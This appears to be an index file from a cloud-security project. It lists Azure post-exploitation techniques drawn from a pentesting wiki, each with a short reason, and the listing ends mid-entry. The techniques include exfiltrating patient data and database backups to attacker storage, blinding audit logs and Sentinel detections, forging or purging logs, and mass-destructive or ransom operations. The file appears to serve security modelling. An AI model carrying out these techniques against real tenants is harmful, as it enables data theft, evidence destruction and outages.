+- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#purge-retained-events-early--lower-messageretentionindays-eventhubswrite + technique: Purge retained events early — lower messageRetentionInDays (eventhubs/write) + source_revision: a66f094ede + reason: Shrinking retention forces early expiry of buffered events — destroying not-yet-consumed data and shortening the forensic + window, a subtler DoS than deletion. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#destructive-dos--delete-namespace--event-hub--consumer-group + technique: Destructive DoS — delete namespace / event hub / consumer group + source_revision: a66f094ede + reason: Deleting a hub drops all retained events and Capture config; deleting a namespace destroys all hubs, consumer groups and SAS + rules → permanent event loss and outage for all producers/consumers.[[4]](#references) bash…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#lock-out-sas-clients--disablelocalauthtrue-namespaceswrite + technique: Lock out SAS clients — disableLocalAuth=true (namespaces/write) + source_revision: a66f094ede + reason: Setting disableLocalAuth=true instantly invalidates every SAS credential in the namespace, breaking any producer/consumer + that relies on connection strings (extremely common) — a one-line, reversible-but-disruptive…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#geo-dr-failover--break-pairing-hijack-disasterrecoveryconfigs + technique: Geo-DR failover / break-pairing hijack (disasterRecoveryConfigs/) + source_revision: a66f094ede + reason: failover repoints the Geo-DR alias to the secondary and permanently breaks the pairing (once-only, near-instant); break-pairing + tears down replication. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#customer-managed-key-cmk-revocation-dos + technique: Customer-managed key (CMK) revocation DoS + source_revision: a66f094ede + reason: Revoking or disabling the CMK renders the namespace's data unreadable → hard DoS / potential data loss (the same envelope-encryption + denial primitive used against Storage/Cosmos/ACR). The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fabric-post-exploitation.md#onelake-data-exfiltration-and-shortcut-abuse + technique: OneLake data exfiltration and shortcut abuse + source_revision: a66f094ede + reason: OneLake is ADLS-Gen2-API-compatible at https://onelake.dfs.fabric.microsoft.com//.Lakehouse/Files/..., so any ADLS/Blob tool + or the Azure SDK can bulk-pull data with a storage-audience token (see the notebook…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fabric-post-exploitation.md#capacity-arm-primitives--estate-wide-dos--cost-no-data-access + technique: Capacity ARM primitives — estate-wide DoS & cost (no data access) + source_revision: a66f094ede + reason: an availability + cost + settings primitive only — it grants zero access to workspace content (see the capacity-admin boundary). + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md#pivot-through-key-based-host-storage-settings + technique: Pivot through key-based host-storage settings + source_revision: a66f094ede + reason: Reading the Function App host-storage setting discloses a Storage shared key. That key grants Storage data-plane access; code + poisoning through the content account is modelled by the Function App storage entries, with the specific app binding required. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-hdinsight-post-exploitation.md#disable-cluster-monitoring-defense-evasion + technique: Disable cluster monitoring (defense evasion) + source_revision: a66f094ede + reason: HDInsight extensions are the integration point for Azure Monitor / Log Analytics. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#smart-on-fhir-idp-backdoor-persistence + technique: SMART-on-FHIR IdP backdoor (persistence) + source_revision: a66f094ede + reason: The attacker-controlled OIDC issuer grants FHIR PHI read through application-specific SMART authorization; no Azure/Entra + principal is impersonated. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#dicom-bulk-imaging-exfil-to-attacker-storage-marquee + technique: DICOM bulk imaging exfil to attacker storage (marquee) + source_revision: a66f094ede + reason: the attacker issues POST /export with no source (meaning all studies) and an attacker-chosen blobContainerUri + UseManagedIdentity:true. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#fhir-export-full-phi-dump + technique: FHIR $export full PHI dump + source_revision: a66f094ede + reason: the attacker drives GET /$export (system/group/patient level) to dump the entire patient store to the configured export storage; + adding includeAssociatedData=history,deleted also pulls soft-deleted and historical records. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#forge--overwrite-clinical-data-via-import-and-medtech-integrity + technique: Forge / overwrite clinical data via $import and MedTech (integrity) + source_revision: a66f094ede + reason: the attacker uses $import (or the MedTech iotconnectors device-ingest write path) to create or overwrite clinical records + — forging observations/medications or corrupting patient data. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#export-an-exportable-certificatepfx-to-impersonate-a-service + technique: Export an exportable certificate/PFX to impersonate a service + source_revision: a66f094ede + reason: The backing-secret read for an exportable application certificate is the azure-keyvault-secret-read-sp-credentials path; certificate-object + read alone returns no private key. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#delete-the-vaults-diagnostic-settings-to-blind-the-auditevent-log + technique: Delete the vault's diagnostic settings to blind the AuditEvent log + source_revision: a66f094ede + reason: Restores the "no data-plane evidence" condition on a monitored vault — every subsequent SecretGet/KeyUnwrap/backup/purge then + leaves no data-plane trace, amplifying every other Key Vault technique. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md#purge-the-whole-soft-deleted-vault-locationsdeletedvaultspurgeaction--mass-destruction--anti-forensics + technique: Purge the whole soft-deleted vault (locations/deletedVaults/purge/action) — mass destruction / anti-forensics + source_revision: a66f094ede + reason: Irreversible loss of the entire vault in one control-plane step — every secret, key, certificate and version, plus the vault's + own diagnostic/audit configuration. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#reading-the-workspace--loot--rule-recon + technique: Reading the workspace = loot + rule recon + source_revision: a66f094ede + reason: run KQL over all collected logs — harvest secrets/tokens/connection strings hidden in ingested logs, and map which tables + have recent data to learn which Sentinel detections are actually live (empty table = dead…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspacessearchjobswrite--restorelogswrite--read-basicarchive-tier--archived-data + technique: workspaces/searchJobs/write + restoreLogs/write — read Basic/Archive-tier & archived data + source_revision: a66f094ede + reason: search jobs run KQL over Basic/Auxiliary-tier and archived data (which scheduled rules and normal query/read cannot fully + reach) and materialize results into a new SRCH table; restoreLogs rehydrates archived data. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspace-shared-keys-and-log-injection + technique: Workspace shared keys and log injection + source_revision: a66f094ede + reason: retrieve workspace shared keys, then sign HTTP Data Collector API requests to inject forged custom log records — poisoning + dashboards, detections, and automations that trust attacker-controlled fields (ingestion…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#log-forgery-via-the-modern-logs-ingestion-api-datacollectionrulesdatawrite-no-shared-key + technique: Log forgery via the modern Logs Ingestion API (dataCollectionRules/data/write, no shared key) + source_revision: a66f094ede + reason: the same log-poisoning / false-flag / anti-forensics impact as the shared-key path above, but through the modern Entra-authenticated + Logs Ingestion API — which does not use the workspace shared keys at all. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#downgrade-a-tables-plan-silently-kills-log-alerts + technique: Downgrade a table's plan (silently kills log alerts) + source_revision: a66f094ede + reason: switch a hot table (e.g. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#shrink-retention--archive + technique: Shrink retention / archive + source_revision: a66f094ede + reason: reduce workspace/table interactive retention to the minimum and disable archive so older evidence ages out fast, capping how + far back an investigation can look. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#purge-specific-rows-the-loud-thorough-one + technique: Purge specific rows (the loud, thorough one) + source_revision: a66f094ede + reason: delete matching log rows by predicate to remove evidence of your indicator from the workspace tables. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#cut-ingestion-upstream-cleaner-than-purge + technique: Cut ingestion upstream (cleaner than purge) + source_revision: a66f094ede + reason: remove the diagnostic setting / DCR / data connector feeding the table so nothing arrives — no rows to purge and no purge + record. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-log-analytics-post-exploitation.md#workspaceslinkedstorageaccountswrite--repoint-byos-storage + technique: workspaces/linkedStorageAccounts/write — repoint BYOS storage + source_revision: a66f094ede + reason: customer-managed storage bindings for Query, Alerts, CustomLogs and Ingestion data types can be repointed to attacker-controlled + storage — potentially capturing query text / saved-search-alert content / custom-log…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#overpowered-migrate-execution-roles--storage--compute-takeover-privilege-source + technique: Overpowered Migrate execution roles → storage & compute takeover (privilege source) + source_revision: a66f094ede + reason: The Migrate executor roles bundle listKeys and compute write permissions. Those underlying actions are modelled by Storage + consumer-poisoning and VM execution entries; the role name itself adds no distinct path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#opsec-on-the-writes-you-cant-avoid + technique: OPSEC on the writes you can't avoid + source_revision: a66f094ede + reason: Using expected timing, IPs or principals hides existing writes from anomaly rules; it creates no new permission or principal + edge. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#the-free-lane-reads + technique: 'The free lane: reads' + source_revision: a66f094ede + reason: Full-subscription enumeration with az / PowerShell / AzureHound to map resources, identities, and misconfigurations. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#delete--narrow-a-diagnostic-setting + technique: Delete / narrow a diagnostic setting + source_revision: a66f094ede + reason: 'Defense evasion / telemetry blind spot: a resource with no diagnostic setting has its data-plane activity recorded nowhere + while it keeps working. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#delete-a-data-collection-rule-association-surgical-host-blind-spot + technique: Delete a Data Collection Rule Association (surgical host blind spot) + source_revision: a66f094ede + reason: Stops host log collection (Windows event logs, syslog, custom logs) for ONE machine only, while the DCR and every other associated + machine keep working - a very low-noise, highly targeted guest-telemetry blind spot…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#disable-alert-rules + technique: Disable alert rules + source_revision: a66f094ede + reason: Disables the specific alert rule that would have paged the SOC (e.g. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#full-server-exfiltration-with-flexibleserversbackupandexportaction + technique: Full-server exfiltration with flexibleServers/backupAndExport/action + source_revision: a66f094ede + reason: 'exfiltration: triggers a full physical server backup exported to an attacker-controlled Azure Storage location — the API''s + targetDetails/FullBackupStoreDetails accepts caller-supplied blob-container SAS URIs. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#firewall-bypassing-reachability-with-flexibleserversprivateendpointconnectionsapprovalaction + technique: Firewall-bypassing reachability with flexibleServers/privateEndpointConnectionsApproval/action + source_revision: a66f094ede + reason: 'network access/persistence: approve a pending private endpoint connection, binding a Private Endpoint from an attacker-controlled + VNet to the victim server. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#sever-the-audit-export-pipeline-with-diagnosticsettingswritedelete + technique: Sever the audit-export pipeline with diagnosticSettings/write/delete + source_revision: a66f094ede + reason: 'defense evasion: MySqlAuditLogs reach a Log Analytics workspace, Event Hub, or storage only via a diagnostic setting on the + server. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#delete + technique: /delete + source_revision: a66f094ede + reason: The wildcard delete action destroys database resources or managed identities in scope; destroying an identity does not grant + its token or privileges. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#export-policy-hijack--mount-and-readwrite-all-data-marquee + technique: Export-policy hijack → mount and read/write all data (marquee) + source_revision: a66f094ede + reason: the attacker adds their own VM's IP/CIDR to the volume's exportPolicy.rules as an unixReadWrite + hasRootAccess client (worst + case allowedClients=0.0.0.0/0), then NFS-mounts the share and gets full read/write to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#snapshot-restore-to-new-volume-defeat-source-lockdown + technique: Snapshot restore-to-new-volume (defeat source lockdown) + source_revision: a66f094ede + reason: even if the original volume's export policy is tightly locked, the attacker clones any existing snapshot into a fresh attacker-controlled + volume (creationToken/snapshotId) and applies the export-policy hijack to that…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#replication-out-for-continuous-exfil-persistence + technique: Replication-out for continuous exfil (persistence) + source_revision: a66f094ede + reason: the attacker creates a destination data-replication volume they own and calls authorizeReplication on the source, establishing + scheduled cross-resource-group / cross-subscription replication (as frequent as every ~10…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-netapp-files-post-exploitation.md#destruction--ransom-cluster-data-loss--availability + technique: Destruction / ransom cluster (data loss & availability) + source_revision: a66f094ede + reason: 'high-impact but noisy destructive levers, best understood as a cluster: - Silent rollback: volumes/revert/action rolls the + live volume back to a chosen snapshot, discarding all newer data — fast, hard to undo, no…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#prefer-eligibility-over-active-standing-privilege + technique: Prefer eligibility over active standing privilege + source_revision: a66f094ede + reason: Operating through JIT eligibility (activate only when needed, let expire) instead of a standing active assignment blends with + normal admin behaviour and evades reviews that flag only active assignments. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#reconnaissance-value + technique: Reconnaissance value + source_revision: a66f094ede + reason: Enumerating eligible assignments yields a ready-made escalation map of who can become administrator (Global Administrator + / Owner / User Access Administrator) that plain roleAssignments enumeration cannot see,…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#what-pim-emits-when-you-activate--and-how-to-blunt-each + technique: What PIM emits when you activate — and how to blunt each + source_revision: a66f094ede + reason: Suppresses or satisfies each activation signal (activation email, approval record, MFA challenge) so privileged roles can + be used with minimal alerting. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-pim-post-exploitation.md#dont-trip-the-identity-side-detections + technique: Don't trip the identity-side detections + source_revision: a66f094ede + reason: Activating from an expected device/IP at a plausible hour avoids Entra ID Protection / Sentinel anomaly detections (impossible + travel, new device, atypical time) that watch privileged-role use. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#verifying-youre-clear + technique: Verifying you're clear + source_revision: a66f094ede + reason: recon that confirms which Deny/Modify/DINE policies still apply to your target before you act. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#1-enforcementmode--donotenforce + technique: 1. enforcementMode = DoNotEnforce + source_revision: a66f094ede + reason: flips an assignment to audit-only so Deny/effects stop being enforced while the assignment still shows as 'assigned' to a + casual review — lets you perform actions the policy would block. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#2-notscopes--carve-your-target-out + technique: 2. notScopes — carve your target out + source_revision: a66f094ede + reason: adds your target RG/resource to the assignment's notScopes so the policy stops applying there while still applying everywhere + else — a surgical guardrail hole. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#3-policy-exemption + technique: 3. Policy exemption + source_revision: a66f094ede + reason: creates a first-class 'allowed to be non-compliant' exemption object for your scope that reads like legitimate governance, + silencing Deny/Audit for that target. The section documents data access, data integrity, availability, network reachability or detection + changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#4-overrides--parameters + technique: 4. Overrides / parameters + source_revision: a66f094ede + reason: downgrades the assignment's effect via overrides or the effect parameter (Deny -> Audit -> Disabled) for the whole assignment + without deleting it. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#5-assignment-deletion-loudest + technique: 5. Assignment deletion (loudest) + source_revision: a66f094ede + reason: deletes the assignment, removing the guardrail everywhere in scope — most impactful but most visible. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-policy-post-exploitation.md#neutralising-auditdetection-policies + technique: Neutralising audit/detection policies + source_revision: a66f094ede + reason: kills the non-compliance signal that feeds compliance dashboards and Sentinel rules ('resource X became non-compliant') so + the SOC never sees it — with no resource-level change. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#full-server-exfiltration-with-flexibleserversltrbackupaction + technique: Full-server exfiltration with flexibleServers/ltrBackup/action + source_revision: a66f094ede + reason: 'exfiltration: the PostgreSQL analog of the MySQL export path. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#firewall-bypassing-reachability-with-flexibleserversprivateendpointconnectionsapprovalaction + technique: Firewall-bypassing reachability with flexibleServers/privateEndpointConnectionsApproval/action + source_revision: a66f094ede + reason: 'network access/persistence: approve a pending private endpoint connection, binding a Private Endpoint from an attacker-controlled + VNet to the victim server. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#sever-the-audit-export-pipeline-with-diagnosticsettingswritedelete + technique: Sever the audit-export pipeline with diagnosticSettings/write/delete + source_revision: a66f094ede + reason: 'defense evasion: PostgreSQLLogs (pgaudit) reach a Log Analytics workspace, Event Hub, or storage only via a diagnostic setting + on the server. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#delete + technique: /delete + source_revision: a66f094ede + reason: The wildcard delete action destroys database resources or managed identities in scope; destroying an identity does not grant + its token or privileges. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#the-data-map-as-a-targeting-oracle + technique: The Data Map as a targeting oracle + source_revision: a66f094ede + reason: Reads registered sources plus schema and classifications to pinpoint which storage accounts, SQL databases and data lakes + hold PII/credentials/financial data — loot targeting without touching the data itself. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#tampering-blind-the-classification-pipeline + technique: 'Tampering: blind the classification pipeline' + source_revision: a66f094ede + reason: Disabling/pausing scans, narrowing scan scope/collections, or editing classification rules stops newly staged or exfiltrated + data being classified, removing it from Defender for Cloud sensitive-data attack paths and…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#bypassing-sentinel-detections-operating-within-the-model + technique: Bypassing Sentinel detections (operating within the model) + source_revision: a66f094ede + reason: Read the deployed analytics rules (tables watched, KQL, queryFrequency/queryPeriod/triggerThreshold) and then act under them + — stay below thresholds/aggregation windows, blend sign-in origin, and break Fusion/UEBA…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#auto-close-incidents-with-an-automation-rule + technique: Auto-close incidents with an automation rule + source_revision: a66f094ede + reason: Creates an automation rule that runs on incident creation and sets status=Closed/BenignPositive for anything matching your + activity — the detection still fires but the incident is triaged away before a human ever sees it. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#watchlist-poisoning + technique: Watchlist poisoning + source_revision: a66f094ede + reason: Add your IP to an allow-list watchlist (or remove your indicator from a block-list) so every analytics rule that joins the + watchlist treats you as approved — defeats many rules without editing a single rule. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#disable-or-narrow-analytics-rules + technique: Disable or narrow analytics rules + source_revision: a66f094ede + reason: Sets enabled=false or splices an exclusion filter (| where SourceIP != "") into a rule's KQL so your activity no longer generates + alerts/incidents — the edited-KQL variant is quieter than flat-disabling because an…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#delete--reassign-incidents + technique: Delete / reassign incidents + source_revision: a66f094ede + reason: Removes an incident from the SOC queue (or quietly reassigns/closes it, which is stealthier than deletion) so the triage team + never works it. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#kill-the-data-connector + technique: Kill the data connector + source_revision: a66f094ede + reason: Stops ingestion of that source into the workspace, blinding every analytics rule that depends on the table — highest leverage + because one action defeats many rules at once. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#actions-authorizationrules-send-and-receive-messages + technique: 'Actions: AuthorizationRules Send and Receive Messages' + source_revision: a66f094ede + reason: Send (inject) or receive (read/consume) messages on the namespace/entity → tamper with downstream workflows and exfiltrate + message contents. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md#customer-managed-key-cmk-revocation-dos + technique: Customer-managed key (CMK) revocation DoS + source_revision: a66f094ede + reason: Revoking or disabling the CMK renders the namespace's data unreadable → hard DoS / potential data loss (the same envelope-encryption + denial primitive used against Storage/Cosmos/ACR). The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#sql-data-sync--attacker-controlled-sync-member-continuous-2-way-exfil--tamper + technique: SQL Data Sync — attacker-controlled sync member (continuous 2-way exfil + tamper) + source_revision: a66f094ede + reason: create a sync group on the victim (hub) database and add an attacker-owned Azure SQL DB as a sync member. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#complete-the-audit-teardown--extended--devops-auditing--diagnostic-settings + technique: Complete the audit teardown — extended / DevOps auditing + diagnostic settings + source_revision: a66f094ede + reason: the base auditingSettings/write teardown documented above is only one of several audit surfaces. The section documents data + access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose + permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-mover-post-exploitation.md#repoint--define-a-job-to-exfiltrate-on-prem-shares-to-attacker-storage + technique: Repoint / define a job to exfiltrate on-prem shares to attacker storage + source_revision: a66f094ede + reason: an attacker who can edit endpoints/jobs defines a job that copies a source the agent can reach — most valuably an on-prem + SMB/NFS file server (the agent holds the credentials/line-of-sight) or an existing Azure blob…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#recurrent-task-as-standing-managed-identity-backed-persistence + technique: Recurrent task as standing managed-identity-backed persistence + source_revision: a66f094ede + reason: The task managed identity performs the configured blob operations, but the documented outcome is recurring data deletion, + tiering or tag changes; no token or arbitrary identity action is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#blob-index-tag--classification-tampering-at-fleet-scale + technique: Blob index-tag / classification tampering at fleet scale + source_revision: a66f094ede + reason: SetBlobTags rewrites blob index tags across the fleet, breaking tag-driven lifecycle/retention automation, DLP, cost allocation + and e-discovery, or planting misleading tags. The section documents data access, data integrity, availability, network reachability + or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#fleet-scale-destructive--ransomware-operations-from-one-object + technique: Fleet-scale destructive / ransomware operations from one object + source_revision: a66f094ede + reason: The task applies DeleteBlob, Archive or expiry operations across assigned storage accounts. It destroys or delays data access; + it does not grant the task identity token to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-storage-tasks-post-exploitation.md#fleet-wide-locked-immutability--legal-hold-lockout-extortion--ir-obstruction + technique: Fleet-wide locked-immutability / legal-hold lockout (extortion / IR obstruction) + source_revision: a66f094ede + reason: SetBlobImmutabilityPolicy mode=locked with a far-future untilDate, and/or SetBlobLegalHold=true, applied across many accounts. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-synapse-post-exploitation.md#disable-sql-auditing--threat-detection-and-strip-data-masking + technique: Disable SQL auditing / threat detection and strip data masking + source_revision: a66f094ede + reason: defense evasion / anti-forensics. The section documents data access, data integrity, availability, network reachability or + detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#option-1-online-endpoints-requires-onlineendpointswrite--deploymentswrite + technique: 'Option 1: Online Endpoints (requires onlineEndpoints/write + deployments/write)' + source_revision: a66f094ede + reason: Duplicate summary of the online-endpoint, jobs/write or compute-instance entries in machine_learning.yaml; the corresponding + concrete permission branch is modelled there. +- source: 